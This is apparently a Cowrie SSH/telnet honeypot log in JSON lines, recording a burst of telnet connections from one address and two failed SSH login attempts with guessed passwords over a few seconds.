{"eventid":"cowrie.login.failed","username":"root","password":"VQ","message":"login attempt [root/VQ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:03.184051Z","src_ip":"213.209.159.158","session":"48f2c5c52139","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"pass@123","message":"login attempt [ubuntu/pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:03.250009Z","src_ip":"103.170.173.26","session":"6eb925360644","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.199085474014282,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:03.688472Z","src_ip":"162.55.233.176","session":"6c4209418c86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.998349905014038,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:03.725939Z","src_ip":"162.55.233.176","session":"662b55159c30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46616,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b2e1c23a768","protocol":"telnet","message":"New connection: 162.55.233.176:46616 (159.203.135.109:23) [session: 2b2e1c23a768]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:03.742100Z"}
{"eventid":"cowrie.session.closed","duration":37.71941876411438,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:04.137974Z","src_ip":"162.55.233.176","session":"f89f791b36f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59078,"dst_ip":"159.203.135.109","dst_port":23,"session":"8775cb98ed92","protocol":"telnet","message":"New connection: 162.55.233.176:59078 (159.203.135.109:23) [session: 8775cb98ed92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:04.215023Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46628,"dst_ip":"159.203.135.109","dst_port":23,"session":"75fc9c64a6c3","protocol":"telnet","message":"New connection: 162.55.233.176:46628 (159.203.135.109:23) [session: 75fc9c64a6c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:04.325548Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46642,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae63e65b6ddc","protocol":"telnet","message":"New connection: 162.55.233.176:46642 (159.203.135.109:23) [session: ae63e65b6ddc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:04.340722Z"}
{"eventid":"cowrie.session.closed","duration":33.515573501586914,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:04.492626Z","src_ip":"162.55.233.176","session":"c134824e6977","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:04.529500Z","src_ip":"103.170.173.26","session":"6eb925360644","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46650,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ccf57671592","protocol":"telnet","message":"New connection: 162.55.233.176:46650 (159.203.135.109:23) [session: 3ccf57671592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:04.630441Z"}
{"eventid":"cowrie.session.closed","duration":31.550183534622192,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:04.661533Z","src_ip":"162.55.233.176","session":"0d8450f2b5bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.37955117225647,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:04.803047Z","src_ip":"162.55.233.176","session":"50e852da9036","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.17443919181824,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:04.951186Z","src_ip":"162.55.233.176","session":"6532cbfbd3cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46654,"dst_ip":"159.203.135.109","dst_port":23,"session":"f48074bcbada","protocol":"telnet","message":"New connection: 162.55.233.176:46654 (159.203.135.109:23) [session: f48074bcbada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:04.976246Z"}
{"eventid":"cowrie.session.closed","duration":30.687304258346558,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:05.260250Z","src_ip":"162.55.233.176","session":"7d892e788ba1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.53579354286194,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:05.294254Z","src_ip":"162.55.233.176","session":"5d4b05461c34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46666,"dst_ip":"159.203.135.109","dst_port":23,"session":"0172ba8db218","protocol":"telnet","message":"New connection: 162.55.233.176:46666 (159.203.135.109:23) [session: 0172ba8db218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:05.390882Z"}
{"eventid":"cowrie.session.closed","duration":35.3857901096344,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:05.396284Z","src_ip":"162.55.233.176","session":"0808a113cbbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:05.521015Z","src_ip":"213.209.159.158","session":"48f2c5c52139","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.02702498435974,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:06.610164Z","src_ip":"162.55.233.176","session":"b5d834d18ba3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46676,"dst_ip":"159.203.135.109","dst_port":23,"session":"39c591935ea8","protocol":"telnet","message":"New connection: 162.55.233.176:46676 (159.203.135.109:23) [session: 39c591935ea8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:06.892537Z"}
{"eventid":"cowrie.session.closed","duration":30.211546897888184,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:07.127719Z","src_ip":"162.55.233.176","session":"49f614acb096","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46692,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b18190d572d","protocol":"telnet","message":"New connection: 162.55.233.176:46692 (159.203.135.109:23) [session: 7b18190d572d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:07.178396Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46706,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2e0f435169a","protocol":"telnet","message":"New connection: 162.55.233.176:46706 (159.203.135.109:23) [session: a2e0f435169a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:07.369313Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46718,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a76bcd7f3e1","protocol":"telnet","message":"New connection: 162.55.233.176:46718 (159.203.135.109:23) [session: 5a76bcd7f3e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:07.531528Z"}
{"eventid":"cowrie.session.closed","duration":31.558451414108276,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:07.536684Z","src_ip":"162.55.233.176","session":"462823b21c8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.099324703216553,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:07.622141Z","src_ip":"162.55.233.176","session":"5e0259f1180c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94884943962097,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:07.666717Z","src_ip":"162.55.233.176","session":"b2411f791548","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.48184776306152,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:07.770741Z","src_ip":"162.55.233.176","session":"301a034ff851","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46724,"dst_ip":"159.203.135.109","dst_port":23,"session":"24291051132f","protocol":"telnet","message":"New connection: 162.55.233.176:46724 (159.203.135.109:23) [session: 24291051132f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:07.786078Z"}
{"eventid":"cowrie.session.closed","duration":31.684976816177368,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:07.950487Z","src_ip":"162.55.233.176","session":"dcc8bd02670b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.16521430015564,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:08.868640Z","src_ip":"162.55.233.176","session":"aed2f7a90a30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08251953125,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:09.493053Z","src_ip":"162.55.233.176","session":"b8d11c5b3603","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46734,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c0134cb6931","protocol":"telnet","message":"New connection: 162.55.233.176:46734 (159.203.135.109:23) [session: 8c0134cb6931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:09.708802Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46742,"dst_ip":"159.203.135.109","dst_port":23,"session":"84f2823e2885","protocol":"telnet","message":"New connection: 162.55.233.176:46742 (159.203.135.109:23) [session: 84f2823e2885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:10.180529Z"}
{"eventid":"cowrie.session.closed","duration":30.936870098114014,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:10.205037Z","src_ip":"162.55.233.176","session":"046a4fa1c528","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.51191782951355,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:10.211016Z","src_ip":"162.55.233.176","session":"b3d6d1620dba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46758,"dst_ip":"159.203.135.109","dst_port":23,"session":"81e3983c4b26","protocol":"telnet","message":"New connection: 162.55.233.176:46758 (159.203.135.109:23) [session: 81e3983c4b26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:10.812279Z"}
{"eventid":"cowrie.session.closed","duration":44.7825653553009,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:10.935572Z","src_ip":"206.189.32.23","session":"33cebde4cebf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46770,"dst_ip":"159.203.135.109","dst_port":23,"session":"3030e3390553","protocol":"telnet","message":"New connection: 162.55.233.176:46770 (159.203.135.109:23) [session: 3030e3390553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:11.100649Z"}
{"eventid":"cowrie.session.closed","duration":31.07610559463501,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:11.441613Z","src_ip":"162.55.233.176","session":"39248cc6d461","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46786,"dst_ip":"159.203.135.109","dst_port":23,"session":"81ad00bec44c","protocol":"telnet","message":"New connection: 162.55.233.176:46786 (159.203.135.109:23) [session: 81ad00bec44c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:11.687897Z"}
{"eventid":"cowrie.session.closed","duration":31.312163591384888,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:11.742439Z","src_ip":"162.55.233.176","session":"071af9be80a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46802,"dst_ip":"159.203.135.109","dst_port":23,"session":"5853f7080dbf","protocol":"telnet","message":"New connection: 162.55.233.176:46802 (159.203.135.109:23) [session: 5853f7080dbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:11.944597Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46814,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a4595bc5dca","protocol":"telnet","message":"New connection: 162.55.233.176:46814 (159.203.135.109:23) [session: 1a4595bc5dca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:12.036008Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46828,"dst_ip":"159.203.135.109","dst_port":23,"session":"4de4b4325b1d","protocol":"telnet","message":"New connection: 162.55.233.176:46828 (159.203.135.109:23) [session: 4de4b4325b1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:12.052438Z"}
{"eventid":"cowrie.session.closed","duration":33.83267617225647,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:12.062956Z","src_ip":"162.55.233.176","session":"a5358ca866e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17902898788452,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:12.190872Z","src_ip":"162.55.233.176","session":"97ab944581db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46838,"dst_ip":"159.203.135.109","dst_port":23,"session":"849d45145bee","protocol":"telnet","message":"New connection: 162.55.233.176:46838 (159.203.135.109:23) [session: 849d45145bee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:12.366174Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46846,"dst_ip":"159.203.135.109","dst_port":23,"session":"c837a2f17418","protocol":"telnet","message":"New connection: 162.55.233.176:46846 (159.203.135.109:23) [session: c837a2f17418]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:12.479253Z"}
{"eventid":"cowrie.session.closed","duration":33.46081233024597,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:12.507751Z","src_ip":"162.55.233.176","session":"425621887324","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46856,"dst_ip":"159.203.135.109","dst_port":23,"session":"5175550218bf","protocol":"telnet","message":"New connection: 162.55.233.176:46856 (159.203.135.109:23) [session: 5175550218bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:12.513018Z"}
{"eventid":"cowrie.session.closed","duration":37.286619663238525,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:12.987558Z","src_ip":"162.55.233.176","session":"341dd3e59b0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33582,"dst_ip":"159.203.135.109","dst_port":23,"session":"56da1bae294f","protocol":"telnet","message":"New connection: 162.55.233.176:33582 (159.203.135.109:23) [session: 56da1bae294f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:13.887325Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33588,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d9533a3fb35","protocol":"telnet","message":"New connection: 162.55.233.176:33588 (159.203.135.109:23) [session: 8d9533a3fb35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:13.919300Z"}
{"eventid":"cowrie.session.closed","duration":33.520297050476074,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:13.933251Z","src_ip":"162.55.233.176","session":"1cdfcbcc913d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.91184639930725,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:13.951237Z","src_ip":"162.55.233.176","session":"00ce0b330f21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33590,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2909f4ec814","protocol":"telnet","message":"New connection: 162.55.233.176:33590 (159.203.135.109:23) [session: d2909f4ec814]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:14.056819Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33604,"dst_ip":"159.203.135.109","dst_port":23,"session":"ced6f5cf01ad","protocol":"telnet","message":"New connection: 162.55.233.176:33604 (159.203.135.109:23) [session: ced6f5cf01ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:14.126507Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33610,"dst_ip":"159.203.135.109","dst_port":23,"session":"736e3acf699c","protocol":"telnet","message":"New connection: 162.55.233.176:33610 (159.203.135.109:23) [session: 736e3acf699c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:14.222764Z"}
{"eventid":"cowrie.session.closed","duration":36.63140368461609,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:14.357320Z","src_ip":"162.55.233.176","session":"928f9120861e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.213356733322144,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:14.437009Z","src_ip":"162.55.233.176","session":"30ef46618d71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33614,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a000b2180ea","protocol":"telnet","message":"New connection: 162.55.233.176:33614 (159.203.135.109:23) [session: 0a000b2180ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:14.660300Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33616,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ddf3108001e","protocol":"telnet","message":"New connection: 162.55.233.176:33616 (159.203.135.109:23) [session: 6ddf3108001e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:14.686821Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":35730,"dst_ip":"10.17.0.5","dst_port":23,"session":"5965a9dcf7c1","protocol":"telnet","message":"New connection: 188.208.141.113:35730 (10.17.0.5:23) [session: 5965a9dcf7c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:15.120071Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33622,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a53fe9aa9bb","protocol":"telnet","message":"New connection: 162.55.233.176:33622 (159.203.135.109:23) [session: 6a53fe9aa9bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:15.227869Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33638,"dst_ip":"159.203.135.109","dst_port":23,"session":"4dc11c6c2fcd","protocol":"telnet","message":"New connection: 162.55.233.176:33638 (159.203.135.109:23) [session: 4dc11c6c2fcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:15.437010Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33640,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2846172f7f1","protocol":"telnet","message":"New connection: 162.55.233.176:33640 (159.203.135.109:23) [session: c2846172f7f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:15.911359Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33650,"dst_ip":"159.203.135.109","dst_port":23,"session":"e19d30f7464c","protocol":"telnet","message":"New connection: 162.55.233.176:33650 (159.203.135.109:23) [session: e19d30f7464c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:16.186756Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33666,"dst_ip":"159.203.135.109","dst_port":23,"session":"33fa981dd716","protocol":"telnet","message":"New connection: 162.55.233.176:33666 (159.203.135.109:23) [session: 33fa981dd716]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:16.550885Z"}
{"eventid":"cowrie.session.closed","duration":31.820188522338867,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:16.850288Z","src_ip":"162.55.233.176","session":"5ba4e02cbae2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33680,"dst_ip":"159.203.135.109","dst_port":23,"session":"e84131a2aa0e","protocol":"telnet","message":"New connection: 162.55.233.176:33680 (159.203.135.109:23) [session: e84131a2aa0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:17.319236Z"}
{"eventid":"cowrie.session.closed","duration":31.292256832122803,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:17.539612Z","src_ip":"162.55.233.176","session":"54167b425997","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.464326858520508,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:17.548322Z","src_ip":"162.55.233.176","session":"ea8f0e8cd562","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.57833433151245,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:17.852545Z","src_ip":"162.55.233.176","session":"15c040db98d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33694,"dst_ip":"159.203.135.109","dst_port":23,"session":"e366e1400504","protocol":"telnet","message":"New connection: 162.55.233.176:33694 (159.203.135.109:23) [session: e366e1400504]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:17.898798Z"}
{"eventid":"cowrie.session.closed","duration":37.279584646224976,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:17.960710Z","src_ip":"162.55.233.176","session":"eed87bba1aa5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33700,"dst_ip":"159.203.135.109","dst_port":23,"session":"73e2cd69740a","protocol":"telnet","message":"New connection: 162.55.233.176:33700 (159.203.135.109:23) [session: 73e2cd69740a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:18.204932Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33714,"dst_ip":"159.203.135.109","dst_port":23,"session":"03a5a5b60f82","protocol":"telnet","message":"New connection: 162.55.233.176:33714 (159.203.135.109:23) [session: 03a5a5b60f82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:18.298889Z"}
{"eventid":"cowrie.session.closed","duration":35.0031099319458,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:18.411205Z","src_ip":"162.55.233.176","session":"2b8a934d0940","protocol":"telnet"}
